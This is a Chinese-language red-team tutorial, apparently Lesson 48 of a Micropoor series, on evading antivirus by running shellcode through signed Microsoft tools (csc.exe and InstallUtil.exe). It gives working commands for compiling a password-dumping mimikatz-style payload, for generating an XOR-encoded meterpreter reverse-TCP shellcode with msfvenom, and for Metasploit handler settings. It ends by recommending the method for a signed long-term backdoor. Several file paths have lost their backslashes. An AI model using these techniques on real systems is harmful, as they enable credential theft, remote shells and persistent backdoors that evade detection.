第四十八課:payload分離免殺思路第二季
專注APT攻擊與防御
https://micropoor.blogspot.com/

payload分離免殺思路第一季是專門針對x32系統(tǒng),以及針對xp包括以下版本。而在實(shí)戰(zhàn)中,目標(biāo)機(jī)器多為Windows7以上版本。而服務(wù)器以x64位居多。在第一季中,借助了非微軟自帶第三方來執(zhí)行Shellcode,這一季采取調(diào)用微軟自帶來執(zhí)行Shellcode,這里就會有一個好處,調(diào)用自帶本身一定就會有微軟的簽名,從而繞過反病毒軟件。
介紹相關(guān)概念:
Windows自Windows XP Media Center Edition開始默認(rèn)安裝NET Framework,直至目前的Windows 10,最新的默認(rèn)版本為4.6.00081.00。隨著裝機(jī)量,最新默認(rèn)安裝版本為4.7.2053.0。
csc.exe:
C#的在Windows平臺下的編譯器名稱是Csc.exe,如果你的.NET FrameWork SDK安裝在C盤,那么你可以在C:WINNTMicrosoft.NETFrameworkxxxxx目錄中發(fā)現(xiàn)它。為了使用方便,你可以手動把這個目錄添加到Path環(huán)境變量中去。用Csc.exe編譯
HelloWorld.cs非常簡單,打開命令提示符,并切換到存放 test.cs文件的目錄中,輸入下列行命令:csc /target:exe test.cs 將Ttest.cs編譯成名為test.exe的console應(yīng)用程序
//test.cs
using System;
class TestApp
{
public static void Main()
{
Console.WriteLine("Micropoor!");
}
}

InstallUtil.exe:
微軟官方介紹如下:
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. This tool works in conjunction with classes in the System.Configuration.Install namespace.
This tool is automatically installed with Visual Studio. To run the tool, use the Developer Command Prompt (or the Visual Studio Command Prompt in Windows

7). For more information, see Command Prompts.

https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

關(guān)于兩個文件默認(rèn)安裝位置:(注意x32,x64區(qū)別)

C:WindowsMicrosoft.NETFramework
C:WindowsMicrosoft.NETFramework64
C:WindowsMicrosoft.NETFramework
C:WindowsMicrosoft.NETFramework64

文章采取2種demo來輔助本文中心思想。
demo1:
以抓密碼為例:測試環(huán)境:目標(biāo)A機(jī)安裝了360套裝。目標(biāo)機(jī)B安裝了小紅傘,NOD32。目標(biāo)機(jī)安C裝了麥咖啡。
生成秘鑰:
執(zhí)行:C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe
/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library
/out:Micropoor.exe /keyfile:C:UsersJohnnDesktopinstallutil.snk /unsafe
C:UsersJohnnDesktopmimi.cs
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile=
/LogToConsole=false /U C:UsersJohnnDesktopMicropoor.exe
demo2:
以msf為例:
生成shllcode
msfvenom --platform Windows -a x64 -p
windows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5 LPORT=8080 -b
'x00' -e x64/xor -i 10 -f csharp -o ./Micropoor.txt
  
替換shellcode。
編譯:
C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe /unsafe /platform:x64
/out:Micropoor.exe M.cs
運(yùn)行:
C:WindowsMicrosoft.NETFramework64v2.0.50727InstallUtil.exe /logfile=
/LogToConsole=false /U Micropoor.exe
注:在實(shí)際測試的過程,起監(jiān)聽需要配置一些參數(shù),防止假死與假session。

msf exploit(multi/handler) > set exitonsession false
exitonsession => false
msf exploit(multi/handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(multi/handler) >
msf exploit(multi/handler) > set Stageencoder x64/xor
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false
msf exploit(multi/handler) > exploit -j -z
上線:
后者的話:該方法可以做一個帶簽名的長期后門。

Micropoor
?